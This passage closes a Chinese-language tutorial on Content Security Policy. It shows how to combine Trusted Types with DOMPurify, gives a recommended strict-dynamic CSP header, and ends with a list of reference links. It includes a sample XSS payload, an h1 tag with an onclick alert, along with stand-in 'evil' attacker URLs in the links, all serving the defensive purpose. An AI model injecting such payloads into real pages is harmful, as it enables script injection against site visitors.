我们可以使用[DOMPurify][]库已经创建的策略，而不是创建我们自己的策略。

让我们首先创建一个 CSP，它允许加载 DOMPurify 脚本，需要脚本的可信类型并允许 DOMPurify 定义的策略。

let scriptSrc = 'script-src '
    scriptSrc += " 'self'"
    scriptSrc += " 'unsafe-inline'"
    scriptSrc += ' https://cdn.jsdelivr.net/npm/dompurify@2.2.8/dist/purify.min.js'
    let requireTrustedTypesFor = 'require-trusted-types-for'
    requireTrustedTypesFor += " 'script'"
    let trustedTypes = 'trusted-types'
    trustedTypes += ' dompurify'

然后我们将在您的页面中加载 DOMPurify：

最后，我们将在使用之前使用 DOMPurify 来清理我们的有效负载。

let payload = "<h1 onclick=alert('xss')>CLICK ME</h1>"
    document.getElementById('htmlOutput').innerHTML = DOMPurify.sanitize(payload, {
      RETURN_TRUSTED_TYPE: true,
    })

而已！-tag 现在将`h1`在 Firefox 和 Chrome 上正确显示，在 Chrome 上强制执行受信任的类型，并清理 HTML，以便如果您使用开发人员工具检查标签，您将看到`onClick`处理程序已被 DOMPurify 删除。

<h1>CLICK ME</h1>

您可以在这里尝试并[在][Link 20][此处][Link 21]分叉 CodeSandbox 。

可信类型浏览器支持

在撰写本文时，Firefox 或 Safari 尚不支持可信类型。请参阅[此处][Link 22]了解最新状态。

### **结论** ###

内容安全策略头是针对 XSS 攻击的出色防御。需要做一些工作才能做到正确，但这是值得的。

始终首选重构代码以使用安全和干净的策略运行。但是当 inline-scripts 或 eval 无能为力时，CSP 级别 2 为我们提供了我们可以使用的随机数和哈希值。

CSP 3 级有一些非常简洁的功能，但并非所有这些功能都得到 Chrome 和 Edge 以外的任何其他浏览器的很好支持，因此请谨慎使用。幸运的是，我们已经可以使用严格动态。这是一个基于严格动态的通用的、相当严格的 CSP，它应该适用于大多数应用程序。请注意，这`unsafe-inline`只是作为古代浏览器的后备方案，只要您有随机数或哈希值，就无需担心。

Content-Security-Policy:
      default-src 'self';
      frame-ancestors 'self';
      form-action 'self';
      object-src 'none';
      script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
      base-uri 'none';
      report-uri https://cspreport.example.com/

在将执行策略部署到生产环境之前，请从仅报告标题开始，以避免不必要的麻烦。

[XSS]: https://www.appsecmonkey.com/blog/xss-attack-and-prevention/
[X-Frame-Options]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
[https_en.wikipedia.org_wiki_Samy_computer_worm]: https://en.wikipedia.org/wiki/Samy_%28computer_worm%29
[DOM-XSS sinks]: https://portswigger.net/web-security/cross-site-scripting/dom-based
[Link 1]: https://developer.mozilla.org/en-US/docs/Web/HTML/Element/object
[Link 2]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
[Link 3]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/sandbox
[CSP]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-to
[CodeSandbox]: https://codesandbox.io/s/csp-practice-mpk56
[Sandbox - CodeSandbox]: https://mpk56.sse.codesandbox.io/
[6feaef168d234e80af125fc725c39658.webp]: https://img-blog.csdnimg.cn/6feaef168d234e80af125fc725c39658.webp
[default-src]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/default-src
[8982d73993a7403383b1379f22f4fc10.webp]: https://img-blog.csdnimg.cn/8982d73993a7403383b1379f22f4fc10.webp
[ab0a9dc1c1684b9088f986e12b7c2cac.webp]: https://img-blog.csdnimg.cn/ab0a9dc1c1684b9088f986e12b7c2cac.webp
[https_sse-0.codesandbox.io_client-hook-5.js]: https://sse-0.codesandbox.io/client-hook-5.js%22
[form-action]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/form-action
[https_www.appsecmonkey.com_evil]: https://www.appsecmonkey.com/evil'%20rel=
[8c17c78fc28143a6b203a301a7172c41.webp]: https://img-blog.csdnimg.cn/8c17c78fc28143a6b203a301a7172c41.webp
[https_lqil3.sse.codesandbox.io_stylesheets_style.css]: https://lqil3.sse.codesandbox.io/stylesheets/style.css'%20rel=
[https_fonts.googleapis.com_css2_family_Roboto_wght_100_display_swap]: https://fonts.googleapis.com/css2?family=Roboto:wght@100&display=swap%27
[style-src]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/style-src
[60a3a2521f58423cae20c7b073508b54.webp]: https://img-blog.csdnimg.cn/60a3a2521f58423cae20c7b073508b54.webp
[img-src]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/img-src
[f1f12c8c7c684942a1228e8a52db18a0.webp]: https://img-blog.csdnimg.cn/f1f12c8c7c684942a1228e8a52db18a0.webp
[Link 4]: https://portswigger.net/web-security/cross-site-scripting/dangling-markup
[https_fonts.gstatic.com_s_roboto_v20_KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2]: https://fonts.gstatic.com/s/roboto/v20/KFOkCnqEu92Fr1MmgVxFIzIXKMnyrYk.woff2'%20rel=
[font-src]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/font-src
[script-src]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src
[https_www.appsecmonkey.com_evil.js]: https://www.appsecmonkey.com/evil.js'%20rel=
[https_www.google-analytics.com_analytics.js]: https://www.google-analytics.com/analytics.js'%20rel=
[https_code.jquery.com_jquery-1.12.4.js]: https://code.jquery.com/jquery-1.12.4.js'%20rel=
[9a1984af772c4a2f914e23644a248f2e.webp]: https://img-blog.csdnimg.cn/9a1984af772c4a2f914e23644a248f2e.webp
[https_cat-fact.herokuapp.com_facts_random]: https://cat-fact.herokuapp.com/facts/random'%20rel=
[connect-src]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/connect-src
[Link 5]: https://codesandbox.io/s/csp-practice-forked-lqil3
[Google _ CSP]: https://csp-evaluator.withgoogle.com/
[6da17a8ad2dd49de97eef578331cb060.webp]: https://img-blog.csdnimg.cn/6da17a8ad2dd49de97eef578331cb060.webp
[Link 6]: https://caniuse.com/contentsecuritypolicy2
[CodeSandbox 1]: https://codesandbox.io/s/csp-practice-hashes-4z1b6
[https_www.google-analytics.com_analytics.js 1]: https://www.google-analytics.com/analytics.js
[https_code.jquery.com_jquery- 1.12.4.js]: https://code.jquery.com/jquery-1.12.4.js%22
[CodeSandbox 2]: https://codesandbox.io/s/csp-practice-nonces-jwuqk
[unsafe-eval]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#unsafe_eval_expressions
[3]: https://www.w3.org/TR/CSP3/
[Content-Security-Policy-Report-Only]: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only
[Link 7]: https://www.appsecmonkey.com/tools/csp
[cd5b4473ec234785829d00ac5d2c4bf1.webp]: https://img-blog.csdnimg.cn/cd5b4473ec234785829d00ac5d2c4bf1.webp
[Link 8]: https://www.appsecmonkey.com/browser-support/content-security-policy
[Link 9]: https://codesandbox.io/s/csp-practice-strict-dynamic-gcl0r
[_https_code.jquery.com_jquery-3.6.0.min.js_script-src]: https://code.jquery.com/jquery-3.6.0.min.js
[_https_cdn.jsdelivr.net_npm_bootstrap_4.6.0_dist_css_bootstrap.min.css_script-src]: https://cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css
[_https_d3js.org_d3.v6.min.js_script-src]: https://d3js.org/d3.v6.min.js
[Link 10]: https://fw17k.sse.codesandbox.io/
[CodeSandbox 3]: https://codesandbox.io/s/csp-practice-strict-dynamic-3-knftd
[Link 11]: https://knftd.sse.codesandbox.io/
[Link 12]: https://coe8l.sse.codesandbox.io/
[Link 13]: https://codesandbox.io/s/csp-practice-unsafe-hashes-coe8l
[Link 14]: https://www.appsecmonkey.com/browser-support/content-security-policy#unsafe-hashes
[Firefox _ Safari]: https://www.appsecmonkey.com/browser-support/content-security-policy#script-src-attr
[Link 15]: https://w3c.github.io/webappsec-trusted-types/dist/spec/
[Link 16]: https://codesandbox.io/s/csp-practice-trusted-types-3stgz
[Link 17]: https://3stgz.sse.codesandbox.io/
[Link 18]: https://5zcl5.sse.codesandbox.io/
[Link 19]: https://codesandbox.io/s/csp-practice-trusted-types-2-5zcl5
[DOMPurify]: https://github.com/cure53/DOMPurify
[Link 20]: https://codesandbox.io/s/csp-practice-trusted-types-dompurify-67zyn
[Link 21]: https://67zyn.sse.codesandbox.io/
[Link 22]: https://www.appsecmonkey.com/browser-support/content-security-policy#trusted-types